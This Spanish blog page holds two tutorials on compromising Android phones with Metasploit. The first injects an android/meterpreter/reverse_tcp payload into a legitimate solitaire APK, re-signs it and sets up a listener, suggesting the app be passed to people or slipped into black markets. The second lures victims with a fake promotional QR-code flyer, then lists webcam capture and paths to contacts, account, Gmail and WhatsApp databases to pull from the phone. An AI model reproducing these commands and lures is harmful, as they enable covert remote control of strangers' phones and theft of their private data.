Mostrando entradas con la etiqueta Meterpreter Android. Mostrar todas las entradas
Mostrando entradas con la etiqueta Meterpreter Android. Mostrar todas las entradas

Meterpretear una apk

Vamos a ver paso a paso como podemos crear una apk, pues con un pequeño regalito de la marca Metasploit.


Para ello podemos usar apktool completamente, o la última versión de AndroidSwissKnife . Primero digamos que en este post vamos a tocar los temas de las APKs de Android, que es el formato utilizado para empaquetar las aplicaciones ( digamos que es una especie de zip, realmente podemos hacer unzip a un apk).
También vamos a tocar Metasploit, una gran herramienta para los pentesters, esta herramienta se basa en módulos los cuales permiten hacer (sobre todo intentos) de explotación de sistemas, con los módulos de exploit que cuenta la herramienta, o módulos auxiliares. Usaremos dos de las herramientas con las que cuenta metasploit: msfvenom (para generar payloads, dando la posibilidad de pasarlos por un encoder) y msfconsole (consola de comandos para hacer uso de exploits, modulos auxiliares...).
Vamos a realizar un sencillo proceso de Ingeniería inversa en android, pero bastante sencillo.

Bien, pues empezamos con el trabajo, para ello vamos a  poner un poco de música al asunto y enumeramos los materiales necesarios ( aquí una recomendación de mi parte: https://www.youtube.com/watch?v=Q7xLS6jqV90 ).

Materiales necesarios:
  1.  Tener el framework de explotación de Metasploit (para esta herramienta teneis en el blog en la sección de libros un buen ejemplar de como usar metasploit http://www.estacion-informatica.com/p/libros.html)
  2. Tener apktool instalado (descargar siempre la última versión pues en kali viene una algo anticuada).
  3. Tener una apk original en la que inyectaremos el módulo para lanzar el payload (yo usaré un sencillo juego del solitario)
  4. Algún conocimiento de smali y xml (pero bueno tampoco mucho pues voy a ir explicando).
Pasos a seguir, además explicaré un poco lo que realiza el payload.
  • Generaremos un payload para android con msfvenom, usaremos el conocido como reverse_tcp, para ello tenemos que saber nuestra IP a la que el cliente se conectará (el pobre que ejecute la aplicación) cuando arranque el solitario. Para esta tarea tenemos el comando ifconfig, así que abrimos una terminal y escribimos "ifconfig":
Bien de estas IPs que aparecen yo usaré la 10.0.0.1, ya que en esta subred se encuentra la máquina android con la que haremos las pruebas, ahora ejecutaremos msfvenom para sacar el payload:

  msfvenom --payload android/meterpreter/reverse_tcp lhost=10.0.0.1 lport=4444 -f raw > trojan.apk


 

Ya tendremos una apk con el nombre trojan.apk, o en mi caso trojan2.apk (seguiremos usando trojan.apk).

Vamos a sacar una representación de alto nivel (en java) de esta aplicación para ver un poco como funciona, y así aprendemos un poquito de reversing, además nunca viene mal saber como funciona nuestra aplicación maliciosa. Podemos usar dos herramientas: androidSwissKnife o dex2jar directamente:

          androidSwissKnife -a trojan.apk -o trojan --get-jar
                                            Si usamos dex2jar
          dex2jar trojan.apk


Seguidamente usaremos jd-gui para ver este código:

        jd-gui trojan_dex2jar.jar

Y seguidamente, inspeccionamos el código, vamos a MainActivity. Y vemos que lo primero que hace es crear un Service, lo cual en android es un proceso en segundo plano:

Y el service a su vez llama ya al método start de una extraña clase llamada Payload .


Investigando la clase Payload vemos que apunta a nuestra IP y el puerto elegido (4444), esta clase es la que ejecuta el payload y por tanto nos da la posibilidad de tener un cliente conectado a nosotros.
Algo que nos interesa de aquí de este service es la llamada a ese Payload ( Payload.start(this) ). Esta llamada la inyectaremos en el código del onCreate() de la actividad principal del juego del solitario.

Vamos a ejecutar apktool en ambas APKs. Podeis seguir los dos métodos, el usar apktool directamente o androidSwissKnife.

             androidSwissKnife -a name.apk -o name_output --apktool
                                    o si usamos apktool
             apktool d name.apk -o name_output

Y tendremos ya dos carpetas, una para cada APK con el AndroidManifest y con el código en formato smali (del cual ya hablé en mi anterior post).


Ahora abriremos ambos AndroidManifest.xml de ambas carpetas, pues tenemos que copiar los <uses-permission del trojan.apk al de solitario.apk, para poder realizar todo tipo de actividades malintencionadas ( No seais malignos con esto... ). Vamos a ver dos imagenes una con los <uses-permission sin el cambio y otro con el cambio:

Como se ve se hemos ampliado bastante la lista, los <uses-feature no nos hacen falta pues sólo nos condicionan a que dispositivos podemos instalar la aplicación.

Seguidamente de la carpeta apktool-trojan (o como vosotros la nombrarais), vamos a coger la carpeta metasploit dentro de la ruta apktool-trojan/smali/com . Y la copiamos y la pegamos dentro de nuestra apk original en la ruta apktool-(nombre apk)/smali/com . Con esto ya tenemos el código completo dentro de la aplicación original. Ahora abrimos dos archivos muy, y digo MUY importantes, el código MainService.smali de Metasploit y el MainActivity.smali de nuestra aplicación original.

Vamos con el primero, el MainService.smali , nos centraremos en el código de onStartCommand :

Bien vamos a ver abajo de donde pone .line 16 esa linea invoca al método start de la clase Payload , pasando como argumento p0 , en smali en códigos no static es la variable this. Ya sabeis si habeis programado en java, que es una variable que apunta a la clase u objeto en si mismo.
Esa linea es la que copiaremos en el método onCreate de MainActivity.smali de la APK original .

IMPORTANTE: ¿Cómo sabemos cual es la Activity principal de la apk original?. Bien, consultaremos el AndroidManifest.xml de la apk original, y aquella que tenga un Intent-Filter con un Main y un Launcher. Usamos esa.


Veis, aquí directamente copiar y pegar a capón esa linea, y en cuanto se ejecute el onCreate, tenemos que tener un handler escuchando con msfconsole.
De momento vamos a volver a crear la apk, con apktool y firmarla con d2j-apk-sign (podeis hacerlo con androidSwissKnife, pero os voy a poner los comandos con apktool y d2j-apk-sign):

            apktool b folder-name/ -o name_temporary.apk
            d2j-apk-sign -f -o final.apk name_temporary.apk


Y con esto tendremos en final.apk la apk final que tenemos que pasar a la gente y que se instalen manualmente (podemos intentar colarlas en black markets, para todo el que tenga el dispositivo root).

Ahora vamos a ejecutar los siguientes comandos:

                   msfconsole
                                Seguidamente cuando nuestra consola cargue...
                   use exploit/multi/handler
                   set payload android/meterpreter/reverse_tcp
                   set lhost 10.0.0.1
                   set lport 4444
                   run



Y ahora a esperar que alguien ejecute la aplicación, la cual funcionará sin que él se percate.

Vamos aquí a ejecutarlo en una máquina virtual, a ver que pasa:


Muy bien, tenemos a una persona contenta de poder echarse una partida al solitario, y a otra haciendo cosas maliciosas en otra máquina con meterpreter.


Hasta aquí el POST. Espero no resultara muy pesado, he intentado hacerlo algo divertido y subir imágenes que muestren el proceso paso a paso. Para cualquier problema o cualquier pregunta podeis contactar conmigo.

Un saludo, hasta el proximo post. Fare9

(Idea sacada de la lectura de: http://www.securitybydefault.com/2014/08/alterando-el-contenido-de-un-apk-parte.html )
Android Meterpreter Attack

Android Meterpreter Attack

En este articulo mostrare una prueba de concepto PoC sobre un ataque dirigido a dispositivos móviles en este caso con sistema operativo Android.

Primero que nada empezaremos con actualizar nuestro metasploit.
$ msfupdate  

Después de esto procederemos a crear nuestro payload para Android que se encuentra disponible en el framework de metasploit. Usaremos el msfpayload:
msfpayload android/meterpreter/reverse_tcp LHOST=192.168.7.239 R > promocion.apk

En este caso LHOST=  es donde se ingresa la dirección ip hacia donde apuntara la conexión y en seguida especificamos el nombre de nuestra APK.

Con esto se nos generara nuestra aplicación para dispositivos Android.

Ya tenemos la aplicación maliciosa pero como hacemos para que el usuario la descargue? bueno aquí hay muchas técnicas la mayoría basadas en ingeniería Social, en mi caso utilizare mediante un Póster de alguna promoción con un código QR.

Ahora subiremos nuestra aplicación a cualquier servidor, yo la he subido a mi dropbox.

Utilizaremos el SET para poder generar el codigo QR el cual nos redireccione a esta liga.
cd /bugtraq/tools/pentesting/set/
./set

En mi caso estoy utilizando la bugtraq si están en kali o backtrack pueden iniciarlo desde el menu o hacerlo de la ruta donde se encuentra la carpeta del SET.

Una vez iniciado el social engineering toolkit  seleccionamos la opción
1) Social-Engineering Attacks
SET
Seleccionamos la opción
9) QRCode Generator Attack Vector
E ingresamos la url donde hallamos subido nuestra apk.
QR set

[*] [*] QRCode has been generated under /root/.set/reports/qrcode_attack.png!
QRCode generated.

Y con esto tendremos nuestro codigo QR generado.
Ahora me apoyare en esta pagina http://www.flyerfacil.com para poder hacer atractivo nuestro codigo QR, si a las personas les dices que les regalas algo, seguro bajan la aplicación sin saber que es.
1372109039

Y listo aquí ya tenemos nuestro Flyer, ahora es cuestión de ponerlo en una área a la vista del personal donde estemos realizando las pruebas y esperar a que alguien descargue la app.

Para esta prueba usare una Virtual de Android.

Al escanear el código QR se podrá descargar la aplicación

android
Android2
android3

Una vez instalada la aplicación generara la conexión en reversa hacia nosotros

Utilizaremos el comando
msfcli multi/handler PAYLOAD=android/meterpreter/reverse_tcp LHOST=0.0.0.0 E
Para ponernos a la escucha.

meterandroid

Y listo una conexión a través de meterpreter con el dispositivo móvil.

Podemos hacer uso del comando webcam_snap  para tomar fotografías del movil, también podríamos extraer archivos.

Aqui algunas rutas que nos pudieran interesar
/data/data/com.android.providers.contacts/databases/contacts.db
/data/data/com.android.browser/databases/browser.db
/data/data/com.google.android.googleapps/databases/accounts.db
/data/data/com.android.browser/gears/geolocation.db
/data/data/com.android.providers.telephony/databases/
/data/data/com.google.android.apps.maps/databases/search_history.db
/data/data/com.google.android.providers.gmail/databases/

Incluso seria posible poder recuperar los mensajes de whatsapp eliminados.
Saludos!